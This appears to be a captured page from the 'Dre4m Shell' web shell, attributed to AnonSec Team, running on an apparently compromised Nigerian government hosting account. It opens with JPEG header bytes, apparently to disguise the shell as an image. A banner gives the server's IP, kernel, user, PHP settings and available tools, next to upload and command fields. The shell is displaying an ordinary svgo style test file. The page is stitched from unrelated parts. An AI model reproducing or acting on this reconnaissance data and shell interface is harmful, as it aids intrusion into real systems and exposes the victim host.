ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.43.141
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/svgo/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/svgo/lib/style.test.js
'use strict';

const { expect } = require('chai');
const { computeStyle } = require('./style.js');
const { querySelector } = require('./xast.js');
const svg2js = require('./svgo/svg2js.js');

describe('computeStyle', () => {
  it('collects styles', () => {
    const root = svg2js(`
      <svg>
        <rect id="class" class="a" />
        <rect id="two-classes" class="b a" />
        <rect id="attribute" fill="purple" />
        <rect id="inline-style" style="fill: grey;" />
        <g fill="yellow">
          <rect id="inheritance" />
          <g style="fill: blue;">
            <g>
              <rect id="nested-inheritance" />
            </g>
          </g>
        </g>
        <style>
          .a { fill: red; }
        </style>
        <style>
          <![CDATA[
            .b { fill: green; stroke: black; }
          ]]>
        </style>
      </svg>
    `);
    expect(computeStyle(querySelector(root, '#class'))).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'red' },
    });
    expect(computeStyle(querySelector(root, '#two-classes'))).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'green' },
      stroke: { type: 'static', inherited: false, value: 'black' },
    });
    expect(computeStyle(querySelector(root, '#attribute'))).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'purple' },
    });
    expect(computeStyle(querySelector(root, '#inline-style'))).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'grey' },
    });
    expect(computeStyle(querySelector(root, '#inheritance'))).to.deep.equal({
      fill: { type: 'static', inherited: true, value: 'yellow' },
    });
    expect(
      computeStyle(querySelector(root, '#nested-inheritance'))
    ).to.deep.equal({
      fill: { type: 'static', inherited: true, value: 'blue' },
    });
  });

  it('prioritizes different kinds of styles', () => {
    const root = svg2js(`
      <svg>
        <style>
          g > .a { fill: red; }
          .a { fill: green; }
          .b { fill: blue; }
        </style>
        <g fill="yellow">
          <rect id="complex-selector" class="a" />
          <rect id="attribute-over-inheritance" fill="orange" />
          <rect id="style-rule-over-attribute" class="b" fill="grey" />
          <rect id="inline-style-over-style-rule" style="fill: purple;" class="b" />
        </g>
      </svg>
    `);
    expect(
      computeStyle(querySelector(root, '#complex-selector'))
    ).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'red' },
    });
    expect(
      computeStyle(querySelector(root, '#attribute-over-inheritance'))
    ).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'orange' },
    });
    expect(
      computeStyle(querySelector(root, '#style-rule-over-attribute'))
    ).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'blue' },
    });
    expect(
      computeStyle(querySelector(root, '#inline-style-over-style-rule'))
    ).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'purple' },
    });
  });

  it('prioritizes important styles', () => {
    const root = svg2js(`
      <svg>
        <style>
          g > .a { fill: red; }
          .b { fill: green !important; }
        </style>
        <rect id="complex-selector" class="a b" />
        <rect id="style-rule-over-inline-style" style="fill: orange;" class="b" />
        <rect id="inline-style-over-style-rule" style="fill: purple !important;" class="b" />
      </svg>
    `);
    expect(
      computeStyle(querySelector(root, '#complex-selector'))
    ).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'green' },
    });
    expect(
      computeStyle(querySelector(root, '#style-rule-over-inline-style'))
    ).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'green' },
    });
    expect(
      computeStyle(querySelector(root, '#inline-style-over-style-rule'))
    ).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'purple' },
    });
  });

  it('treats at-rules and pseudo-classes as dynamic styles', () => {
    const root = svg2js(`
      <svg>
        <style>
          @media screen {
            .a { fill: red; }
          }
          .b:hover { fill: green; }
          .c { fill: blue; }
          .d { fill: purple; }
        </style>
        <rect id="media-query" class="a d" style="fill: orange;" />
        <rect id="hover" class="b" style="fill: yellow;" />
        <g class="a">
          <rect id="inherited" />
          <rect id="inherited-overriden" class="c" />
        </g>
        <rect id="static" class="c" style="fill: black" />
      </svg>
    `);
    expect(computeStyle(querySelector(root, '#media-query'))).to.deep.equal({
      fill: { type: 'dynamic', inherited: false },
    });
    expect(computeStyle(querySelector(root, '#hover'))).to.deep.equal({
      fill: { type: 'dynamic', inherited: false },
    });
    expect(computeStyle(querySelector(root, '#inherited'))).to.deep.equal({
      fill: { type: 'dynamic', inherited: true },
    });
    expect(
      computeStyle(querySelector(root, '#inherited-overriden'))
    ).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'blue' },
    });
    expect(computeStyle(querySelector(root, '#static'))).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'black' },
    });
  });

  it('considers <style> media attribute', () => {
    const root = svg2js(`
      <svg>
        <style media="print">
          @media screen {
            .a { fill: red; }
          }
          .b { fill: green; }
        </style>
        <style media="all">
          .c { fill: blue; }
        </style>
        <rect id="media-query" class="a" />
        <rect id="kinda-static" class="b" />
        <rect id="static" class="c" />
      </svg>
    `);
    expect(computeStyle(querySelector(root, '#media-query'))).to.deep.equal({
      fill: { type: 'dynamic', inherited: false },
    });
    expect(computeStyle(querySelector(root, '#kinda-static'))).to.deep.equal({
      fill: { type: 'dynamic', inherited: false },
    });
    expect(computeStyle(querySelector(root, '#static'))).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'blue' },
    });
  });

  it('ignores <style> with invalid type', () => {
    const root = svg2js(`
      <svg>
        <style type="text/css">
          .a { fill: red; }
        </style>
        <style type="">
          .b { fill: green; }
        </style>
        <style type="text/invalid">
          .c { fill: blue; }
        </style>
        <rect id="valid-type" class="a" />
        <rect id="empty-type" class="b" />
        <rect id="invalid-type" class="c" />
      </svg>
    `);
    expect(computeStyle(querySelector(root, '#valid-type'))).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'red' },
    });
    expect(computeStyle(querySelector(root, '#empty-type'))).to.deep.equal({
      fill: { type: 'static', inherited: false, value: 'green' },
    });
    expect(computeStyle(querySelector(root, '#invalid-type'))).to.deep.equal(
      {}
    );
  });

  it('ignores keyframes atrule', () => {
    const root = svg2js(`
      <svg>
        <style>
          .a {
            animation: loading 4s linear infinite;
          }
          @keyframes loading {
            0% {
              stroke-dashoffset: 440;
            }
            50% {
              stroke-dashoffset: 0;
            }
            50.1% {
              stroke-dashoffset: 880;
            }
          }
        </style>
        <rect id="element" class="a" />
      </svg>
    `);
    expect(computeStyle(querySelector(root, '#element'))).to.deep.equal({
      animation: {
        type: 'static',
        inherited: false,
        value: 'loading 4s linear infinite',
      },
    });
  });
});

Anon7 - 2022
AnonSec Team